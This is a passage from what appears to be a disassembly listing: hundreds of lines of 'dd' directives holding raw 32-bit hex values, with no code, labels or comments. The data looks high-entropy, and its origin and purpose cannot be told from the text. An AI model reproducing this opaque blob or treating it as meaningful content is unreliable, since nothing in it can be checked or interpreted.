		dd 0B4EF2B13h, 0D5BF1704h, 80D68463h, 9B94569Ch, 1AA09A00h
		dd 4DCF6108h, 148F7605h, 2206890Fh, 0E0298D1Dh,	92295B49h
		dd 73915C1h, 0D6306800h, 66B97D0Fh, 81C740BBh, 0EE092434h
		dd 686D5C62h, 48C18E8h,	0F62DF557h, 200C999Eh, 0D6791B4h
		dd 0C2C98D0Dh, 11F83743h, 0C2F78117h, 60DADBB4h, 0D02B5D7Eh
		dd 0FC28F8F9h, 4CB584CAh, 0A505966h, 0B7014809h, 6D6CA2h
		dd 3FE4CBE0h, 0E61103DEh, 0CEB966F0h, 5DB068C3h, 85985EA7h
		dd 0B5595B24h, 4912938Fh, 0C0036D7Ch, 0EB7225Ah, 0FCA6EA0Ch
		dd 0BFDED213h, 32C7F5Eh, 715300F6h, 959EA0BEh, 0D1EE9CB9h
		dd 0E6175BE8h, 89EB77ECh, 1D206BDAh, 0FD4C24B4h, 145104C8h
		dd 0C1C29FB5h, 0AF1C5F72h, 21C15621h, 0D422E562h, 13977CBFh
		dd 716F04h, 68BBC015h, 503470E7h, 4995B221h, 6B7B607Bh
		dd 42CD1660h, 37387EC0h, 640D00B7h, 68D18A5Fh, 312C8BFBh
		dd 0DA06E72Fh, 0CF6B351Ah, 80833018h, 7040E6E2h, 0CCB8CBC9h
		dd 55B6CD7Ch, 0E0FED999h, 0AD9E8114h, 88D8491Dh, 1333510h
		dd 96BE8968h, 24CFEDE4h, 415C771Ah, 0B06846C0h,	3C8C5B2h
		dd 0AFB719DCh, 0B08D9509h, 3112608Fh, 0CB400D9Dh, 8B5061F5h
		dd 255394DFh, 99C0714Dh, 778FCE5Ch, 34BC123Bh, 0CC1820E8h
		dd 3C01863Eh, 652915B9h, 0FAA72A98h, 6A5B4120h,	3790F50Bh
		dd 7795AD52h, 13A83096h, 0D10D44h, 9423EF63h, 1317C8B6h
		dd 0BFA89A0Ah, 0F80DB780h, 1878C559h, 2B8DC580h, 6500DAE1h
		dd 535FBBCBh, 5131D63Bh, 0D532D763h, 16A6E5Bh, 6A7B1FBBh
		dd 8602FB2h, 61D92FEAh,	14124504h, 13B11085h, 0B7B58D08h
		dd 7D20F7AFh, 75664AE0h, 6325A518h, 801811FAh, 0D8C69659h
		dd 780850C8h, 0DCFD9EF9h, 55079B09h, 404A2990h,	21F7BB4Eh
		dd 0C2A4597Fh, 209A0AD6h, 8D6751C8h, 0C470226Eh, 49B08A33h
		dd 0C2AD8E9Eh, 219466A3h, 8B0B1B8Ch, 3F4CFF15h,	597BC400h
		dd 903A1CEDh, 0A0090065h, 9A9D24F3h, 0ECB06C92h, 0D6EEDEBFh
		dd 842DF03Ah, 299D8D33h, 88B58B04h, 8537C7D3h, 0CF0B0DD8h
		dd 91DB60D3h, 8018D18Bh, 84E8207Eh, 0C989BDF6h,	0D980D837h
		dd 3B3AC915h, 0B6C8099Fh, 0DD098E64h, 8D2003F0h, 0BBB21E31h
		dd 0CB818061h, 306EA741h, 205E46FCh, 18631D05h,	4F822194h
		dd 839D29DCh, 9A801B11h, 0A5C46D28h, 0AAC09E16h, 13D1B304h
		dd 0A82DE904h, 8C18F819h, 52B3551Fh, 48BFA640h,	960CCCC8h
		dd 14012A6h, 80FD1560h,	0F2A57438h, 17246BBCh, 86DAF860h
		dd 0DBD10090h, 8AA75889h, 0C458542Ah, 5BFF0644h, 0BF2D27E9h
		dd 1D65DFCh, 0D4BA6670h, 7089482Ah, 28831EE1h, 68F85C96h
		dd 0DEAF3177h, 0E4914A00h, 2DA9DA9Dh, 0C8604A22h, 4E040DC1h
		dd 8F52941Fh, 3355B481h, 7E206103h, 4BC3E92Fh, 81F49B02h
		dd 38530E1Eh, 27012560h, 0FE013DB5h, 10DC853Bh,	0AA7E830Fh
		dd 0C92F80BDh, 90401230h, 135D272Dh, 1EE4B021h,	65841149h
		dd 0EFE0AC27h, 0BB04507Bh, 1D5E4EA6h, 0EE8061D4h, 4F3B1E77h
		dd 0DB1E5703h, 7AF2D3DBh, 1B356A12h, 0CC3782AEh, 0D89526C6h
		dd 418989A0h, 50AE2328h, 8E4B184Dh, 158863CEh, 0BAE934C0h
		dd 0AB881792h, 94F21376h, 62FCE1B4h, 65C84AA6h,	36F7005Bh
		dd 5F57FC4Ah, 152825DFh
		dd 0D202C70Dh, 0B591D1Bh, 529241C0h, 20D333A8h,	6164119Dh
		dd 7CD8DFBAh, 16718A01h, 6E2B9400h, 166C7B9h, 0D823D3E8h
		dd 0AD8EE9A0h, 0C06ECD21h, 93C11113h, 0FB1ED271h, 22178531h
		dd 2CF64B24h, 3CAEAAE1h, 2DCC803Ah, 5C4A1827h, 0C609DF8Eh
		dd 0C91F011Ch, 0FA851511h, 79A3E047h, 31529A04h, 2BB091BDh
		dd 48CF905Ah, 290986FDh, 4060E19Dh, 7B054D68h, 12E9EC98h
		dd 23B49820h, 3B6900CBh, 733714A4h, 510EE9DFh, 7AF58060h
		dd 0B36C8782h, 6D136852h, 64DCE021h, 34244D4Ch,	0BC30596Dh
		dd 0A1C6EEEBh, 5682CFFBh, 6EFDB9BFh, 8466AAC2h,	80D12A0h
		dd 21758782h, 25422878h, 0D14F0269h, 6A46BD40h,	188725Fh
		dd 5CF6ABC6h, 238BF7B3h, 2DF44841h, 0B07A43D0h,	245CB131h
		dd 0AFF6585Ah, 8D4F98DFh, 80074041h, 18E5EA2Fh,	0CF595041h
		dd 4A5A8A47h, 2062D940h, 207B27AAh, 62AF4B70h, 2BB57E82h
		dd 0D8AC0CF3h, 5B75085h, 9809337Ah, 67510839h, 315FB01h
		dd 0CFF1A92Eh, 585EFD8h, 0F61E81DAh, 0BDCE0489h, 9D600A20h
		dd 8439821Bh, 156D58D1h, 0C6FE6102h, 2FE73CB5h,	9135A7E2h
		dd 97A6D2A6h, 0D43764E1h, 1050B369h, 84BACEB9h,	514BA0BCh
		dd 0D38E008Ch, 585F0F49h, 3458AE6h, 0C2D23540h,	6E3BE108h
		dd 933E2FB5h, 0D3DBC04Eh, 0F2EE0004h, 6D9EA873h, 8A0083EAh
		dd 0C757B43Eh, 0AB97BE4h, 5319501h, 1F601354h, 1310187Fh
		dd 18557DBDh, 0F72C42D5h, 825B3729h, 8D0F3FF9h,	0BD139A46h
		dd 0D0920DA5h, 0E9024849h, 6023C075h, 0A8D88C66h, 352504B5h
		dd 0FE016A45h, 0B608BBF6h, 4EB14878h, 0C7813099h, 0CEFC1FEh
		dd 43C8D68h, 2C8C020h, 0BD0DF457h, 205BFD0Ah, 32E92F1Ah
		dd 0B2716FDh, 0A9C530DFh, 3F1E2F42h, 0EA1657Ch,	50D98C21h
		dd 68057C6Ah, 3126E56h,	0E0C1C361h, 5BDE60BAh, 5A7700DCh
		dd 2D1A5F6Ch, 714CEE55h, 0B9F13409h, 0DE81ED00h, 4A2AD79Fh
		dd 5DF27Eh, 0F345E1FCh,	5B63Bh,	0A06C15FAh, 2DABB33Ch
		dd 0F5025C2Fh, 3890FF1Dh, 0BF9AFED7h, 0B850388Fh, 79851229h
		dd 0A071F730h, 0C202D67h, 58B0FE5h, 0D70DBE1Bh,	0CE753406h
		dd 62B8462Dh, 30B09F51h, 0E839E671h, 42D8277Eh,	0DC52743Ah
		dd 4EA3130Eh, 0D886C0D5h, 5669B2Dh, 8B0771BFh, 2EF89B5h
		dd 0A9A99599h, 91706B73h, 59AA0028h, 660B9E1Eh,	5418D5B9h
		dd 0B1BF79E8h, 0FABF067Bh, 7057260Ch, 9384614Ah, 8E006C6Bh
		dd 23A5833Bh, 6C24A74Ah, 0E804D51Ah, 8DE90841h,	7000F4E8h
		dd 0B43AC883h, 9FA32A73h, 0BD893C18h, 99139D29h, 0DB30F509h
		dd 0CD62000Bh, 1D3977ABh, 290D0C05h, 0AC4B3DB5h, 2E6B585Fh
		dd 89EDEFE8h, 0F986F28Bh, 295B4EFAh, 5DB67D85h,	5CED99E0h
		dd 815BC200h, 4895A5EEh, 0B9E82875h, 15B51436h,	31265E2Ah
		dd 0E637AD1Fh, 49099C01h, 0ACF47915h, 78C698C8h, 7FE880C1h
		dd 0A87A074Ah, 19038E04h, 5E94E88Ch, 84242420h,	4AAA009Bh
		dd 5D2F2338h, 5901824Bh, 2895586h, 0F745051h, 0C6EE8309h
		dd 1281851Ah, 0A87A99h,	75086E98h, 2764797h, 0DC104838h
		dd 23A024C7h, 1DE85F06h, 375595C4h, 8BE3245Bh, 225B3005h
		dd 10B7DD0h, 0EE17FD05h, 51BD8D89h, 25CFE8D9h, 576E6F49h
		dd 4123671Fh, 0FCF1C7EFh, 0ADAA9E1Fh, 47626FAFh, 0F4A1E0B7h
		dd 0D748C5EBh, 6DA16900h, 47B6C21Eh, 81A31855h,	0F1FE0FE1h
		dd 868B25F8h, 0BF062AF1h, 20C09FF9h, 95EC1EA9h,	94262D2Ah
		dd 0BC433B45h, 402871F1h, 0BC90562Ch, 28F543F5h, 22F82732h
		dd 9E8670CDh, 3D01DCCBh, 0E8F9C9CFh, 55C205FDh,	0DC60D4h
		dd 0B5C90613h, 0AD340D87h, 5A3DBE1Dh, 0C5A40358h, 0F12C9111h
		dd 1FBD181Dh, 0D254FDB0h, 48DBFDD0h, 409D380Fh,	59F26E8h
		dd 6300F6A2h, 2CAD3158h, 9D64CB70h, 0B5FDBB86h,	22EDC0C7h
		dd 78925B69h, 9301A8CEh, 1D3F9CBh, 16CF7DBDh, 9E0543B9h
		dd 0F5348584h, 5D627A8h, 610F113h, 6924715Bh, 0BFD10F45h
		dd 559D072Bh, 0E373E92Ch, 9C0767Ah, 6E29E3E8h, 0F7801837h
		dd 6E64964Ch, 0D2EA925Ch, 8A089BBDh, 0B519DB29h, 3733B0D9h
		dd 3E301BB2h, 9AFC025Fh, 1C6B0B5Bh, 0DAD96DE0h,	0FC844D5Fh
		dd 1723762Eh, 2D158939h, 0FEC6D496h, 341600Eh, 0CB8B28Bh
		dd 7E33E1D7h, 0F9B2D13h, 0BF850280h, 4200F787h,	0DDFAFD66h
		dd 5C52EB8Ah, 1220BB23h, 0D82B5F17h, 93BB88FFh,	504B07B8h
		dd 0DC82F922h, 7252BFBFh, 6C301BE2h, 2FCE2F4h, 769D6859h
		dd 0A0FCCF8Bh, 13D69DE8h, 9FF5BAEh, 14D249B8h, 0F8D5B525h
		dd 565AFD00h, 0A57C0DEh, 0FE67542Bh, 958DB50Bh,	7C70E27Dh
		dd 732B4374h, 6F67BB88h, 30159602h, 0FE030BD3h,	60590F80h
		dd 9F3935C1h, 0FA14827Bh, 0B51A8961h, 8294804Ah, 316DAFFCh
		dd 819CA800h, 0E455B8F1h, 28919E17h, 8309E6B7h,	360442B1h
		dd 8039F041h, 0F68462CDh, 44090311h, 8ECF00B7h,	0AFE2BC20h
		dd 900ACB3h, 12E86F39h,	693ADC53h, 38B7E450h, 0F3992E80h
		dd 0EE492FCFh, 6FC7D308h, 0BDE02E0h, 75A99D31h,	0D2CF9026h
		dd 4285B55Eh, 99B81AB9h, 53E0DA69h, 5BF70EDh, 19733903h
		dd 0C04EA61Ch, 0FF6871E9h, 780676Ch, 53A0A997h,	357A6A00h
		dd 0ECD01A98h, 0DC9A0A5Fh, 418C4BB3h, 0EDD58060h, 0A0D8B861h
		dd 4DF87F2Ch, 64BC681Ah, 9F623507h, 3F16BE66h, 0DDB79D69h
		dd 0C6439E00h, 4A610537h, 1423B0A2h, 80BFA193h,	13F0622Ch
		dd 17C7FF9Dh, 0C0A5479Ch, 0BF4AC17Fh, 29DC5F62h, 0D0D25B10h
		dd 33036993h, 8CF1AFD0h, 8D72AFF3h, 1D1F5E55h, 0F1499223h
		dd 0C79D1EB0h, 0DF5233Fh, 2DB69952h, 68386E0h, 4BF9B958h
		dd 0A0F8A7A4h, 0BF0AF180h, 0A00AFBDh, 4267785Dh, 0F7D73476h
		dd 0B832EDE6h, 25BC7C02h, 0D1428BD8h, 0F5D72958h, 48E034F6h
		dd 0D7027F84h, 0B40E39B6h, 857FE1E7h, 0FE745B3Bh, 91F333A2h
		dd 0E2BDEAD0h, 82D400E6h, 1A0AC4BCh, 890EE981h,	9E1CE292h
		dd 70F0D325h, 5415BC72h, 5D8182C6h, 150B854h, 0EB417897h
		dd 0E56522F0h, 1DF689FCh, 4BE81A04h, 886658F0h,	0D245110h
		dd 4F02800Fh, 0B7E9C8F0h, 0D95CA529h, 9616E80Dh, 0C76BAF2Ah
		dd 3C77D803h, 0C2E1D538h, 485AD79Bh, 3C80219Bh,	0DA20BCFEh
		dd 4CC85E4Bh, 0F0F87EC7h, 866601DDh, 4038B94h, 0A9B7E81Eh
		dd 0A97A6CD6h, 74248238h, 891512A5h, 606B61F3h,	1140793Ah
		dd 785B93C3h, 0FF007357h, 0D913ACDDh, 498AE187h, 7FBD00C5h
		dd 5C0FC028h, 0BF81BC8Ch, 89AC8B63h, 0AF19BDF0h, 8CC02A54h
		dd 79173CDEh, 0B527B1C8h, 8E4F310Bh, 8D735549h,	0D30B3851h
		dd 9B803FDBh, 1A7A01C0h, 0F13795h, 0E205EEE1h, 5009911Eh
		dd 7A850FAAh, 0E310B56Bh, 284CD6D0h, 347104D4h,	20AF0BF1h
		dd 0F927B48Fh, 0FD0FB700h, 0E07DEEA9h, 106B0CFh, 4FF08E1Fh
		dd 445EB6B4h, 9875EBA7h, 800446Bh, 0C84C7151h, 0D00E8FDDh
		dd 49B5018Bh, 9198DC0Bh, 0EBE925F9h, 0E1AA80E5h, 4E5E2ABh
		dd 1E9A51E3h, 84F78699h, 33B7B7h, 0A415E232h, 7C70867Eh
		dd 545FAE26h, 0ACF20516h, 0D98D0109h, 8A0FBC22h, 0BB05A079h
		dd 870275B5h, 0CF493B22h, 57F640F4h, 0A80B60A9h, 0E1E382E5h
		dd 0AE1405B7h, 0B35E0206h, 4E71FE0Ah, 69DDE146h, 0C7B810h
		dd 60DCE1D5h, 9D8B22A5h, 5040A59Fh, 0F46EBA57h,	3BEC2C00h
		dd 0E522D59h, 8D89DF09h, 4009747Dh, 1F65BD09h, 55BF08A0h
		dd 153C8F0Fh, 0A9E9AB03h
		dd 69B2D6B2h, 5000E1D9h, 20C3E1D2h, 112E03DBh, 6817D796h
		dd 0C68D16B9h, 7BA20B77h, 6E337813h, 0E03DF100h, 0DD9D238Fh
		dd 0D18DC905h, 0DC127Eh, 8F9E7A0Dh, 0A54C3C8Bh,	0B5A45628h
		dd 4A1D914Dh, 0D7A09CAFh, 8A7A7FE1h, 7218BF07h,	4CCB305Eh
		dd 379D026Ah, 2C97007Ah, 13F33D42h, 3988564Bh, 0E4B70018h
		dd 3638C76Bh, 0E50034C5h, 333E4396h, 20BD293Fh,	904830A5h
		dd 721E098Ch, 80F95750h, 320CBF82h, 8EB75F90h, 0B3B8E02Fh
		dd 0A629D9Ah, 0EC911484h, 0B8F45D46h, 0FB4C034Ah, 92CF2037h
		dd 0FDF561Ch, 0EBED12D3h, 0EE1A56C0h, 0EF186128h, 2EE238D1h
		dd 0E95B094Ch, 0BFDE0DB2h, 823B2C58h, 30FDFB02h, 0B92083D2h
		dd 241B9011h, 1F5B8F6Dh, 5D9D4956h, 56406BE3h, 0B91CD43Dh
		dd 59CEF83Dh, 0BF902383h, 45E804Eh, 0BB600350h,	9A8E016h
		dd 8B6171B7h, 90A2CFCEh, 0F6700EDBh, 0CF5200D4h, 0BE6036B4h
		dd 1F092A45h, 5561FC69h, 46A4F2F9h, 0C44DEF02h,	0EB7E55F5h
		dd 0E074ED49h, 70348A31h, 0EAF04309h, 0E1C38228h, 7DDE0924h
		dd 0CD796A67h, 69B7C062h, 9D00586Fh, 0BBA92DA6h, 57955F7h
		dd 95B5FF74h, 0A05CE704h, 90CCE76Bh, 0F9E5240Ch, 2CE9084Eh
		dd 621E273Ah, 40D67436h, 1726C598h, 0A4A3B100h,	0F2F669FCh
		dd 88874A0Fh, 29448D95h, 0FEB0705Fh, 200FA48Ah,	0AFB00BE9h
		dd 27204120h, 41C370E6h, 2A1603FDh, 940E1F09h, 0B371E403h
		dd 0D23156ADh, 0E0DE8B23h, 0E848C8B6h, 0D3FE807Eh, 71E5A79h
		dd 542A4D9h, 55E0AE8Eh,	69AC1311h, 0AD20864Fh, 7A38994h
		dd 2E54243Ch, 0D0CA1034h, 330532BCh, 5F0CFB73h,	0F50535B2h
		dd 8223C18Bh, 400B0207h, 1656BB18h, 0C0486662h,	0C82BFC1Dh
		dd 8B70B309h, 452082D1h, 4A0BFC05h, 842090ADh, 3B1F01A1h
		dd 0B7A535Ah, 6BE10794h, 0AC094502h, 3BDE0AD5h,	0E1185D0h
		dd 29D78100h, 0E9637B95h, 0E88424Eh, 0B3E695DFh, 18407A9Ch
		dd 7EA9240h, 28516132h,	3C99406Ah, 5809C6FAh, 5C1D12BAh
		dd 198488DDh, 26A5A8BCh, 0B1BFE48h, 4489BD21h, 0FBA0C6D6h
		dd 8DE031E9h, 0C42EB50Bh, 78B5FB48h, 80176A5Ah,	680AF4D7h
		dd 4CB596C5h, 808EEBB8h, 84B4D520h, 7DE8CCABh, 0ECF6FE4Bh
		dd 0E3301BB2h, 32AD0007h, 0BAD91CFAh, 6BF3F1B9h, 2A00807Ah
		dd 8C5BE5D3h, 0D2149A5Dh, 25B2DEF3h, 4637FCh, 74A53ABBh
		dd 0AF24F6BCh, 8B05E4C7h, 0C904FCDAh, 0A812078Dh, 0B49B93F5h
		dd 36F46682h, 94358089h, 2F801A11h, 0C9C7228Ah,	0F55E400h
		dd 33ADDBB7h, 4CD160C2h, 4E983D0h, 2BF4752Ch, 73084D09h
		dd 0B0DDD054h, 8C1C5D75h, 0D96FFCEh, 0E65ACCBDh, 0F1B1E0BEh
		dd 0DF74019Eh, 958BFCE0h, 0AA132E01h, 0D59D5F42h, 4414FC20h
		dd 0E8D4A903h, 0D5E59DD7h, 0DAEC5016h, 0C103180Dh, 58A5E308h
		dd 0F58199Dh, 89898148h, 91B68260h, 7FB30122h, 0E413361h
		dd 5D837EEBh, 0E7F97700h, 5C7467BAh, 1510EFF6h,	76835A02h
		dd 87B98460h, 3F91FCE8h, 1C4B8D9Ch, 0D0F8DB4Eh,	29008BCAh
		dd 0D48E7B43h, 0F1B24DAAh, 8007B160h, 0C5A0E1FFh, 0BD8821EDh
		dd 45224AC1h, 4D095D5Ch, 367FF36Dh, 48ACF09Ch, 402BA4EAh
		dd 0AD86E301h, 6D466092h, 3C184022h, 0C5C097D3h, 3038528h
		dd 4978860Fh, 0F3BCAB5Dh, 8560912Ch, 0BA835A60h, 5EE8000Bh
		dd 7D99336h, 0AD04B633h, 0B554412Bh, 6CF510EFh,	28C17B8h
		dd 77DD4009h, 1152890Fh, 0A5D0C4D3h, 0A805F57h,	0C90A04E1h
		dd 1BE21AA4h, 3770E953h, 965E02C8h, 4E94DB36h, 60951A7Fh
		dd 800589B3h, 0E9B58D09h, 75F03370h, 0F4FBB602h, 0ACD66C12h
		dd 0D1A1C702h, 3FDC01Ah, 25C2B567h, 5A05C884h, 82C95960h
		dd 5B5F5657h, 7468EEC0h, 0BD08B716h, 11F87030h,	0B500138h
		dd 1CA13CCEh, 0B0016BEEh, 43164C8Bh, 3B0FB638h,	76540FA6h
		dd 0AD10824Ch, 2BC85A2Eh, 0E0961F30h, 0FBEECBAEh, 0AD774182h
		dd 0BD0BD1C0h, 31C42D70h, 7AFF01B5h, 856B02C6h,	8648674Eh
		dd 9B636FB9h, 77FA7842h, 8B0D6E0Bh, 696E02F8h, 0AC70712h
		dd 0B5133E3Bh, 8DE4B8F9h, 26307373h, 810C40A5h,	9AAAE306h
		dd 30964686h, 0F71903C1h, 311EEA80h, 1027897Fh,	0F03420h
		dd 0FBF88F75h, 5DC9FE13h, 0BCE1350Eh, 2665D2ADh, 784DC082h
		dd 2C46F448h, 0B73FC04h, 574496DEh, 4C338500h, 122ECA72h
		dd 15BC0069h, 0FE74EFDEh, 0F60129A4h, 0F50C3B2h, 35BB0C85h
		dd 6068014h, 96448338h,	0C481EDB5h, 5193C167h, 44490730h
		dd 976D029Fh, 56F4466Fh, 37F571C0h, 73026A76h, 52867CCCh
		dd 733C259h, 0FF125F41h, 98EF92B5h, 72603159h, 80390FA0h
		dd 0F9809D94h, 3EC5EF81h, 685AB801h, 0C1FA111Ah, 73E56424h
		dd 9A20FDF2h, 8DBA248Ah, 3A1D694Bh, 0AF831611h,	0DBF08AA3h
		dd 0ED042374h, 820F9004h, 501FB320h, 0F03136F5h, 3C1BC55h
		dd 32394290h, 0BCC6B7AEh, 0BB63D924h, 0A1E204C9h, 0A80C75BAh
		dd 8A3CA3h, 0B3463410h,	49E8FC95h, 16481961h, 0C754E44Ah
		dd 0D8FD854Ch, 2CBD3341h, 480D231Dh, 6DA74995h,	2F6086Bh
		dd 232F22A2h, 442B159Dh, 0EA1F00C4h, 7D80185Dh,	973F6CD2h
		dd 9DB51960h, 369031EFh, 5B610424h, 3EA740E9h, 0E8803DB0h
		dd 0F9A37D50h, 2C502A40h, 1C5C0C30h, 0C101C344h, 0ED610E8h
		dd 0F84CEE81h, 27945803h, 36EBE786h, 6402EF36h,	190BF71Ch
		dd 2829501Bh, 661821A0h, 57011358h, 3FE11B84h, 73D85F92h
		dd 408070F8h, 0E998EA02h, 0C56EFA14h, 558504FEh, 36BF0004h
		dd 913E26B4h, 4436203h,	814C38DDh, 13070BCBh, 52646BFFh
		dd 5500BBEAh, 2824E06Ch, 9A7EFC7h, 0D514127Bh, 22CEF08h
		dd 8258501h, 0C94B77DAh, 3DB91284h, 7F01F4B8h, 0F141CC7h
		dd 882A9470h, 8002B1C3h, 248FD1DCh, 0F5EC60F9h,	305F8120h
		dd 10846BEDh, 350AC585h, 0C9ACA0C7h, 216E4Fh, 0A6B020B2h
		dd 0F3F89E1Ah, 8909A62Ch, 0A51D2434h, 42801911h, 741473BEh
		dd 0F1AC8D62h, 0C9AA080Ch, 9771D2D3h, 2898C54h,	0D9611821h
		dd 4051CD08h, 98ACF909h, 0D90B2E90h, 7A21BD03h,	0ED8516DEh
		dd 2793A614h, 40147930h, 0CA99BD9h, 0C4869AC6h,	61928A2Bh
		dd 2944A127h, 0BB2D8DA1h, 417320E8h, 0CD99C004h, 0AA79D0h
		dd 83AED1FBh, 0EFAD04C2h, 0F51E9EE1h, 0B02E82C8h, 0DAB737AFh
		dd 0DB20E4CCh, 0F85FC094h, 0DC890FABh, 1600117h, 7A2B7DB5h
		dd 0C1567D20h, 14648748h, 0B8B70B74h, 9EF693DCh, 2589CE68h
		dd 78AFDB5Fh, 0BB02E1DAh, 0FDF02C2Dh, 0E56B4014h, 53258707h
		dd 0F8EE5199h, 86B0842Eh, 316093B6h, 9503298Dh,	95DFB124h
		dd 4D3C05CBh, 1A3F291Eh, 1F0C9B6h, 917EDF35h, 207D7E8Bh
		dd 41D08B7Bh, 698D04E3h, 0C0C2D865h, 451955CFh,	824D7084h
		dd 1CB16D60h, 16BF9680h, 0E940D56Bh, 880F1F98h,	3111C322h
		dd 806585Ah, 983ABB66h,	35965910h, 9E0122BCh, 0CD4D867h
		dd 2A30E03Ah, 0E81E5785h, 3A3114A2h, 2F2DA441h,	9129B006h
		dd 9042C43h, 1DC97D9Dh,	0B4E7D9D9h, 0D276EDAEh,	0C4803F9Ah
		dd 0CF1BCDD2h, 0F780600Eh, 0CCC862FEh, 1DC68261h, 0B020430h
		dd 498BF9Eh, 0AE32EB3Bh, 23B8DC20h, 930A00AFh, 9F7F42Dh
		dd 0F524D102h, 0D3023087h, 605F8CCFh, 8301C1C3h, 58F71809h
		dd 51C88554h, 0B8AD9853h, 7F00A8B8h, 9D1D106Bh,	0A0391619h
		dd 802CB9ACh, 534AF380h, 0AB7603E1h, 0C2E110E7h, 7D37BD29h
		dd 36B05512h, 95A985C7h
		dd 82C81ADFh, 0D9D6Eh, 0FFF37CE9h, 0CFB35BE3h, 51AFA972h
		dd 58C9006Dh, 4D7893E7h, 5D90EAF4h, 5B079920h, 5E93E35Fh
		dd 4D7668B3h, 9EBCA3C1h, 74CD751Fh, 6E5C3900h, 2FBD8924h
		dd 66A22F69h, 0DE572355h, 0D1B16753h, 2F6DEA4Fh, 70A93C74h
		dd 32026EA8h, 0C63B633Dh, 0D84FE97Fh, 9B7B162Eh, 0D09A8191h
		dd 38C88D6Ch, 94615065h, 0BF1C4081h, 0AE346809h, 60132562h
		dd 0DFDF904h, 0CA0008B6h, 54E352E0h, 9917AB9Fh,	25F95916h
		dd 25F55062h, 1058008h,	3BAD494Bh, 6D26DDBCh, 9102D067h
		dd 5E343F8Eh, 0E7372D25h, 53F76E00h, 0BF4DB613h, 839A70E3h
		dd 95425354h, 90E7A061h, 7250ABB3h, 3C19B60h, 2B3EBE5Eh
		dd 906130F8h, 13E5B795h, 0D463BCE6h, 12E12F23h,	0E7A0CD7Bh
		dd 0B0A0CED5h, 0C67BBBE7h, 89B5290Ah, 0C6252B12h, 0B0600954h
		dd 63798B16h, 4BF36112h, 9AD1E87Dh, 0E3800FCAh,	6F12FF74h
		dd 474E0038h, 5C65B577h, 8B5216DAh, 160A04DEh, 0A42BBC4Ch
		dd 975B62F5h, 0AA8D8AC0h, 0CD0965CCh, 0FB026AE4h, 6A607065h
		dd 3B646900h, 30D21911h, 8B0F2856h, 0DCC39723h,	0BB900401h
		dd 7D8E13BFh, 35DD1525h, 904EE6E8h, 40299E1Ah, 1C9A1F94h
		dd 0CC1D7900h, 7C3C9B46h, 60541296h, 902E0BADh,	29105BFCh
		dd 66808559h, 0E9B579BFh, 0DF8EDB4Bh, 44B0B10h,	1275BD2Bh
		dd 1E4D8D42h, 7002BB14h, 0A4027D4Ah, 95319026h,	4B06982h
		dd 457F812h, 500232CBh,	0B97A8C0Fh, 485E5348h, 0F16D5659h
		dd 65CC1480h, 0BFB2005Ah, 1BCB81AAh, 55ACF7Dh, 5D00A7A2h
		dd 35780F2h, 0E2252AF0h, 0BF00E69Dh, 4AE1EEEDh,	138710E9h
		dd 3023061Dh, 0E617653Eh, 4702AE74h, 8395C814h,	0CA2B5E9Fh
		dd 4B4511A2h, 5D260899h, 596457E0h, 38F48006h, 978C9D01h
		dd 56F42F2Bh, 25880CDCh, 4DA8D968h, 0A0361041h,	0A535893Bh
		dd 61DE81B5h, 0E77A6E0Bh, 0F66CDD12h, 332233h, 7D1BB51h
		dd 0B05B6541h, 0D92B409Fh, 70E68003h, 25B5090Bh, 9683D602h
		dd 0D8080E50h, 5B5E3182h, 0A9B105Eh, 72F3F853h,	6EDD3951h
		dd 5B32B789h, 0F1901878h, 9501B920h, 7029F091h,	72B30762h
		dd 3A5FCC80h, 3F756771h, 31AED2ECh, 0EB29377Fh,	99E2A88h
		dd 0A79178Dh, 4B5D1233h, 9B0B87E5h, 2B42DBDEh, 96D9C8h
		dd 9FA79344h, 5500B484h, 8B626CAFh, 48160D1h, 1EB3ECF7h
		dd 61FA02Eh, 44617C27h,	0EA24C1B4h, 2B541CC9h, 0D285450Bh
		dd 95291A21h, 90C0979Dh, 0B19730C1h, 18D2E52Eh,	5A959D2Bh
		dd 29510C64h, 5F336D8Dh, 4839BA97h, 9754E97Dh, 0D9F24190h
		dd 7950D32Dh, 9FBF9D83h, 0F2121243h, 9E3A2227h,	0B5864041h
		dd 0A00CB2Eh, 826F7347h, 2C8DC415h, 1D122D34h, 0A583CA6Ch
		dd 0ACFE162Bh, 9D23C16Dh, 0E9AD3139h, 0BF04A1E4h, 8909B93h
		dd 0CB8448BDh, 0B214E3CDh, 68A03018h, 0D00CCA09h, 6244742Bh
		dd 1F54798Dh, 7833DBADh, 410A98D2h, 0F8581E8Bh,	715CC704h
		dd 20A930FBh, 3200CD13h, 1C5848DAh, 4C4D8B7h, 560CB026h
		dd 0A962843Dh, 0E65F25FBh, 5A097D82h, 0B99705EDh, 23BE41A4h
		dd 6E2AF1BDh, 60FCC290h, 0C20F44E9h, 303E21EDh,	0FD25BA1Eh
		dd 0A0A5F9E6h, 173920B6h, 0A2FC612Eh, 0DD0880CAh, 0C02B0924h
		dd 44CF376Dh, 0A9A28D38h, 35C4FD02h, 8F80AC42h,	0BFA96ECBh
		dd 625DDF09h, 0D517909h, 0C59EDD8Ah, 34B8041Fh,	0B89EA9F4h
		dd 8A1BE5Fh, 932C21CDh,	10B1190h, 0DD2285BDh, 9F5C880Dh
		dd 8B14EF6h, 0C82832C8h, 1607112Dh, 3DB5BFB3h, 6A576104h
		dd 22114AC1h, 0D25C762Fh, 0F52BC9B7h, 4B3E2B2Fh, 0BE00576Eh
		dd 0B636FBEDh, 64247C4Ah, 86CCECECh, 972DBA75h,	0C2BF4D14h
		dd 78F7D341h, 311F9BC1h, 5385728Eh, 0BE25870Fh,	3E0084A2h
		dd 83C3CA59h, 0B006EEDh, 0F47F6B9Ch, 4B5B1F19h,	0BF6EC85Fh
		dd 0D445D709h, 9D737967h, 2259D601h, 0A5C3E19Dh, 485E2092h
		dd 0DF04C570h, 27195AF7h, 0E20DF8C1h, 0C951345Eh, 93C2FA4h
		dd 12792F55h, 972780C6h, 849D9F66h, 6009182Ah, 8DC1C7CDh
		dd 0D0422C60h, 0E26E5481h, 2E07F16h, 8B0277BDh,	0A8E6F944h
		dd 25205E7Bh, 0F0705D73h, 588690A6h, 493A929h, 0BCB270FDh
		dd 3E9B5B1Bh, 0B3FD4980h, 3812C47Ah, 3EF42F0Dh,	0E7014A9Dh
		dd 5C9AA227h, 9D826E0Bh, 315E14F9h, 0C49FC55Ah,	7CEE6214h
		dd 0E25012EAh, 0CF7101E7h, 29112B5Dh, 0AD88D53Eh, 26CB827h
		dd 8763A9E8h, 3D80E91Bh, 44947905h, 1FB37009h, 0E0515EE3h
		dd 40F4E831h, 0BD8974C1h, 986B2895h, 324FFE4h, 8108431Fh
